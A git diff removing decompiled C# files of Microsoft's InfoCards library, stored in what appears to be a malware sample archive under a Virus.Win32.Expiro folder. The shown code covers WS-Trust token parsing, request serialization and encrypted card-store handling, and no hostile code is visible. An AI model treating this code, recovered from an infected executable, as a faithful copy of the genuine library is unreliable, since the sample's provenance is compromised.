(reader.IsStartElement(profile.WSTrust.RequestedUnattachedReference, profile.WSTrust.Namespace)) - { - if (flag5) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedUnattachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedUnattachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag5 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestType, profile.WSTrust.Namespace)) - { - if (flag11) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestTypeElementsFound"))); - securityTokenResponse.RequestType = reader.ReadElementContentAsString(); - if (profile.WSTrust.IssueRequestType != securityTokenResponse.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("OnlyIssueRequestTypeSupported", (object) securityTokenResponse.RequestType, (object) profile.WSTrust.IssueRequestType))); - flag11 = true; - } - else - reader.Skip(); - } - reader.ReadEndElement(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - { - if (!(profile.WSTrust.RequestSecurityTokenResponseCollection == reader.LocalName) || !(profile.WSTrust.Namespace == reader.NamespaceURI) || reader.NodeType != XmlNodeType.EndElement) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - reader.ReadEndElement(); - } - return securityTokenResponse; - } - - public static GenericXmlSecurityToken ProcessBearerTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.NoKey); - SecurityToken noProofToken = RequestSecurityTokenResponseHelper.s_noProofToken; - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, noProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessSymmetricTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - byte[] clientEntropyForSymmetric, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.SymmetricKey); - if (securityTokenResponse.EntropyToken != null) - { - InfoCardTrace.Assert(profile.WSTrust.ComputedKeyAlgorithm == securityTokenResponse.ComputedKeyAlgorithm, "We already made sure it is PSHA1 while processing RSTR"); - if (!(securityTokenResponse.EntropyToken is BinarySecretSecurityToken entropyToken)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidEntropyContents"))); - int num = clientEntropyForSymmetric.Length * 8; - if (securityTokenResponse.GetIntelligentKeySize(true, num) != num) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException("SymmetricProofKeyLengthMismatch")); - byte[] combinedKey = RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse.ComputeCombinedKey(clientEntropyForSymmetric, entropyToken.GetKeyBytes(), num); - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(combinedKey); - } - else if (securityTokenResponse.ProofToken == null) - { - byte[] key = clientEntropyForSymmetric; - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(key); - } - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, securityTokenResponse.ProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessAsymmetricTokenData( - XmlDictionaryReader reader, - RSA rsa, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - InfoCardTrace.Assert(null != rsa, "null rsa"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.AsymmetricKey); - SecurityToken proofToken = (SecurityToken) new RsaSecurityToken(rsa); - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, proofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - private static DisplayToken CreateDisplayToken(XmlDictionaryReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - DisplayToken displayToken = new DisplayToken(); - XmlReader reader1 = InfoCardSchemas.CreateReader(reader.ReadOuterXml()); - try - { - reader1.ReadStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - reader1.ReadStartElement("DisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - List claimList = new List(); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - DisplayClaim displayClaim = RequestSecurityTokenResponseHelper.ReadDisplayClaim(reader1); - if (displayClaim != null) - claimList.Add(displayClaim); - } - else - reader1.Skip(); - } - displayToken = new DisplayToken(claimList); - } - else if (reader1.IsStartElement("DisplayTokenText", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - string attribute = reader1.GetAttribute("MimeType"); - string displayString = reader1.ReadElementContentAsString(); - if (!string.IsNullOrEmpty(displayString) && !string.IsNullOrEmpty(attribute)) - displayToken = new DisplayToken(displayString, attribute); - } - else - reader1.Skip(); - } - reader1.ReadEndElement(); - reader1.ReadEndElement(); - } - catch (Exception ex) - { - displayToken = (DisplayToken) null; - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return displayToken; - } - - private static DisplayClaim ReadDisplayClaim(XmlReader reader) - { - if (!reader.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - List stringList = new List(); - string description = string.Empty; - string empty = string.Empty; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (!isEmptyElement) - { - while (reader.IsStartElement()) - { - if (reader.IsStartElement("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - name = reader.ReadElementContentAsString(); - else if (reader.IsStartElement("DisplayValue", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - stringList.Add(reader.ReadElementContentAsString()); - else if (reader.IsStartElement("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - description = reader.ReadElementContentAsString(); - else - reader.Skip(); - } - reader.ReadEndElement(); - } - return new DisplayClaim(name, stringList, description, attribute); - } - - private class RequestSecurityTokenResponse - { - private int m_keySize; - private bool m_keySizeSpecified; - private DateTime m_created = DateTime.UtcNow; - private DateTime m_expires = DateTime.UtcNow.AddHours(1.0); - private string m_requestType; - private SecurityKeyIdentifierClause m_requestedAttachedReference; - private SecurityKeyIdentifierClause m_requestedUnattachedReference; - private SecurityToken m_entropyToken; - private string m_computedKeyAlgorithm; - private DisplayToken m_displayToken; - private SecurityKeyTypeInternal? m_keyType; - private string m_tokenType; - private XmlElement m_issuedTokenElement; - private SecurityToken m_proofToken; - - public int KeySize - { - set - { - this.m_keySize = value; - this.m_keySizeSpecified = true; - } - } - - public int GetIntelligentKeySize(bool symmetric, int rstKeySize) - { - if (!symmetric) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - return !this.m_keySizeSpecified ? rstKeySize : this.m_keySize; - } - - public SecurityKeyTypeInternal? KeyType - { - get => this.m_keyType; - set => this.m_keyType = value; - } - - public DateTime Created - { - get => this.m_created; - set => this.m_created = value; - } - - public DateTime Expires - { - get => this.m_expires; - set => this.m_expires = value; - } - - public SecurityKeyIdentifierClause RequestedAttachedReference - { - get => this.m_requestedAttachedReference; - set => this.m_requestedAttachedReference = value; - } - - public SecurityKeyIdentifierClause RequestedUnattachedReference - { - get => this.m_requestedUnattachedReference; - set => this.m_requestedUnattachedReference = value; - } - - public string TokenType - { - set => this.m_tokenType = value; - } - - public SecurityToken EntropyToken - { - get => this.m_entropyToken; - set => this.m_entropyToken = value; - } - - public string ComputedKeyAlgorithm - { - get => this.m_computedKeyAlgorithm; - set => this.m_computedKeyAlgorithm = value; - } - - public DisplayToken DisplayToken - { - get => this.m_displayToken; - set => this.m_displayToken = value; - } - - public XmlElement IssuedTokenElement - { - get => this.m_issuedTokenElement; - set => this.m_issuedTokenElement = value; - } - - public SecurityToken ProofToken - { - get => this.m_proofToken; - set => this.m_proofToken = value; - } - - public string RequestType - { - get => this.m_requestType; - set => this.m_requestType = value; - } - - public static byte[] ComputeCombinedKey( - byte[] requestorEntropy, - byte[] issuerEntropy, - int keySize) - { - if (requestorEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (requestorEntropy)); - if (issuerEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (issuerEntropy)); - InfoCardTrace.Assert(keySize > 0, "Keysize must be > 0"); - return new Psha1DerivedKeyGenerator(requestorEntropy).GenerateDerivedKey(new byte[0], issuerEntropy, keySize, 0); - } - - public void ValidateRstrContents(SecurityKeyTypeInternal keyTypeExpected) - { - if (this.IssuedTokenElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("NoIssuedTokenXml"))); - if (this.KeyType.HasValue) - { - SecurityKeyTypeInternal securityKeyTypeInternal = keyTypeExpected; - SecurityKeyTypeInternal? keyType = this.KeyType; - if ((securityKeyTypeInternal != keyType.GetValueOrDefault() ? 1 : (!keyType.HasValue ? 1 : 0)) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofKeyTypeMismatch"))); - } - if (keyTypeExpected == SecurityKeyTypeInternal.SymmetricKey) - return; - if (SecurityKeyTypeInternal.AsymmetricKey == keyTypeExpected) - { - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == keyTypeExpected, "Bad enum member for SecurityKeyTypeInternal"); - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs deleted file mode 100644 index 2efe33a3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenSerializer - { - private XmlWriter m_writer; - private ProtocolProfile m_profile; - - public XmlWriter Writer => this.m_writer; - - public ProtocolProfile Profile => this.m_profile; - - private XmlNames.IWSTrust WSTrust => this.Profile.WSTrust; - - private XmlNames.IWSPolicy WSPolicy => this.Profile.WSPolicy; - - private string WSTPrefix => this.Profile.WSTrust.DefaultPrefix; - - private string WSIPrefix => "wsid"; - - private string WSPPrefix => this.Profile.WSPolicy.DefaultPrefix; - - private string DSIGPrefix => "dsig"; - - public RequestSecurityTokenSerializer(XmlWriter writer, ProtocolProfile profile) - { - this.m_writer = writer; - this.m_profile = profile; - } - - public void WriteClaimElement(string claimUri, bool bIsOptionalClaim) - { - this.Writer.WriteStartElement(this.WSIPrefix, "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("Uri", claimUri); - if (bIsOptionalClaim) - this.Writer.WriteAttributeString("Optional", "true"); - this.Writer.WriteEndElement(); - } - - public void WriteClaimsElement( - Dictionary disclosedClaims, - string[] requiredClaims, - string[] optionalClaims) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.ClaimsElement, this.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.WSTrust.Dialect, "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (disclosedClaims != null) - { - foreach (KeyValuePair disclosedClaim in disclosedClaims) - this.WriteClaimElement(disclosedClaim.Key, disclosedClaim.Value); - } - else - { - foreach (string requiredClaim in requiredClaims) - this.WriteClaimElement(requiredClaim, false); - foreach (string optionalClaim in optionalClaims) - this.WriteClaimElement(optionalClaim, true); - } - this.Writer.WriteEndElement(); - } - - public void WriteRequestTypeElement(string requestType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.RequestType, this.WSTrust.Namespace); - this.Writer.WriteString(requestType); - this.Writer.WriteEndElement(); - } - - public void WritePPIDElement(byte[] ppid) - { - this.Writer.WriteStartElement("ClientPseudonym", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement("PPID", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteBase64(ppid, 0, ppid.Length); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteAppliesToElement(EndpointAddress address, AddressingVersion version) - { - this.Writer.WriteStartElement(this.WSPPrefix, this.WSPolicy.AppliesTo, this.WSPolicy.Namespace); - address.WriteTo(version, this.Writer); - this.Writer.WriteEndElement(); - } - - public void WriteKeySizeElement(string keySize) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeySize, this.WSTrust.Namespace); - this.Writer.WriteString(keySize); - this.Writer.WriteEndElement(); - } - - public void WriteKeyTypeElement(string keyType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyType, this.WSTrust.Namespace); - this.Writer.WriteString(keyType); - this.Writer.WriteEndElement(); - } - - public void WriteUseKeyElement(XmlElement useKey) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.UseKey, this.WSTrust.Namespace); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyInfo", "http://www.w3.org/2000/09/xmldsig#"); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyValue", "http://www.w3.org/2000/09/xmldsig#"); - useKey.WriteContentTo(this.Writer); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteBinarySecretElement(BinarySecretSecurityToken bst) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.Entropy, this.WSTrust.Namespace); - this.Profile.TokenSerializer.WriteToken(this.Writer, (SecurityToken) bst); - this.Writer.WriteEndElement(); - } - - public void WriteInfoCardReferenceElement(InfoCard card) - { - this.Writer.WriteStartElement(this.WSIPrefix, "InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement(this.WSIPrefix, "CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Id.ToString()); - this.Writer.WriteEndElement(); - this.Writer.WriteStartElement(this.WSIPrefix, "CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteDisplayTokenElement(CultureInfo displayCulture) - { - this.Writer.WriteStartElement(this.WSIPrefix, "RequestDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("xml", "lang", (string) null, displayCulture.TwoLetterISOLanguageName); - this.Writer.WriteEndElement(); - } - - public void WriteTokenTypeElement(string tokenType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.TokenType, this.WSTrust.Namespace); - this.Writer.WriteString(tokenType); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptionAlgorithmElement(string encryptionAlgorithm) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptionAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(encryptionAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteSignWithElement(string signWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SignWith, this.WSTrust.Namespace); - this.Writer.WriteString(signWith); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptWithElement(string encryptWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptWith, this.WSTrust.Namespace); - this.Writer.WriteString(encryptWith); - this.Writer.WriteEndElement(); - } - - public void WriteKeyWrapAlgorithmElement(string keyWrapAlgorithm) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "KeyWrapAlgorithm element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyWrapAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(keyWrapAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteUnprocessedPolicyElements(MemoryStream unprocessedElements) - { - unprocessedElements.Seek(0L, SeekOrigin.Begin); - XmlReader reader = XmlReader.Create((Stream) unprocessedElements, new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - } - - public void WriteSecondaryParametersElement(string policyXml) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "SecondaryParameters element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SecondaryParameters, this.WSTrust.Namespace); - XmlReader reader = XmlReader.Create((TextReader) new StringReader(policyXml), new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - this.Writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ResolvePPIDRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ResolvePPIDRequest.cs deleted file mode 100644 index 1960eaac..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ResolvePPIDRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ResolvePPIDRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ResolvePPIDRequest : UIAgentRequest - { - private string m_selfIssuedCardId; - private string m_managedCardId; - private string m_ppid; - - public ResolvePPIDRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_ppid = Utility.DeserializeString(reader); - this.m_managedCardId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCard infoCard = new InfoCard(new Uri(this.m_managedCardId)); - infoCard.Get(connection); - this.m_selfIssuedCardId = Utility.ResolvePPID(this.m_ppid, infoCard.IssuerIdentifierAsBytes, connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_selfIssuedCardId); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFile.cs deleted file mode 100644 index 493801f5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFile.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFile - { - private List m_infocards; - - public RoamingStoreFile() => this.m_infocards = new List(); - - public IList Cards => (IList) this.m_infocards; - - public void Clear() - { - foreach (InfoCard infocard in this.m_infocards) - infocard.ClearSensitiveData(); - this.m_infocards.Clear(); - } - - public void WriteTo(string password, XmlWriter writer) - { - byte[] buffer = (byte[]) null; - byte[] salt = (byte[]) null; - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer1 = XmlWriter.Create((Stream) memoryStream, new XmlWriterSettings() - { - OmitXmlDeclaration = true, - CloseOutput = false, - Encoding = Encoding.UTF8 - })) - { - writer1.WriteStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (InfoCard infocard in this.m_infocards) - infocard.WriteXml(writer1); - writer1.WriteEndElement(); - writer1.Flush(); - } - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - buffer = new byte[RoamingStoreFileUtility.CalculateEncryptedSize(Convert.ToInt32(memoryStream.Length))]; - using (MemoryStream destination = new MemoryStream(buffer)) - { - RoamingStoreFileUtility.Encrypt((Stream) memoryStream, (Stream) destination, password, out salt); - destination.Flush(); - } - } - writer.WriteStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteBase64(salt, 0, salt.Length); - writer.WriteEndElement(); - writer.WriteStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteBase64(buffer, 0, buffer.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void ReadFrom(string password, XmlReader reader) - { - if (!reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - byte[] numArray = new byte[RoamingStoreFileUtility.SaltLength]; - reader.ReadElementContentAsBase64(numArray, 0, numArray.Length); - if (reader.ReadElementContentAsBase64(new byte[1], 0, 1) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.IsStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherValue", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (MemoryStream source = new MemoryStream(4096)) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadElementContentAsBase64(buffer, 0, buffer.Length)) > 0) - source.Write(buffer, 0, count); - source.Flush(); - source.Seek(0L, SeekOrigin.Begin); - using (MemoryStream destination = new MemoryStream(RoamingStoreFileUtility.CalculateDecryptedSize(Convert.ToInt32(source.Length)))) - { - RoamingStoreFileUtility.Decrypt((Stream) source, (Stream) destination, password, numArray); - destination.Flush(); - destination.Seek(0L, SeekOrigin.Begin); - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) destination, reader.Settings)) - { - reader1.Read(); - if (!reader1.IsStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (reader1.ReadToDescendant("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - do - { - InfoCard infoCard = new InfoCard(); - infoCard.ReadXml(reader1); - this.m_infocards.Add(infoCard); - reader1.ReadEndElement(); - } - while (reader1.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")); - } - reader1.ReadEndElement(); - } - } - } - reader.ReadEndElement(); - if (reader.IsStartElement("EncryptionProperties", "http://www.w3.org/2001/04/xmlenc#")) - reader.Skip(); - reader.ReadEndElement(); - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFileUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFileUtility.cs deleted file mode 100644 index 7e5844ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFileUtility.cs +++ /dev/null @@ -1,289 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFileUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFileUtility - { - private const int ENCRYPTIONKEYBUFFERSIZE = 32; - private const int ENCRYPTIONKEYBITLENGTH = 256; - private const int ENCRYPTIONIVBUFFERSIZE = 16; - private const int ENCRYPTIONIVBITLENGTH = 128; - private const int ITERATIONCOUNT = 1000; - private const int SHA256_BUFFERSIZE = 32; - private static readonly byte[] DerivedKeySignatureEntropy = new byte[16] - { - (byte) 196, - (byte) 1, - (byte) 123, - (byte) 241, - (byte) 107, - (byte) 173, - (byte) 47, - (byte) 66, - (byte) 175, - (byte) 244, - (byte) 151, - (byte) 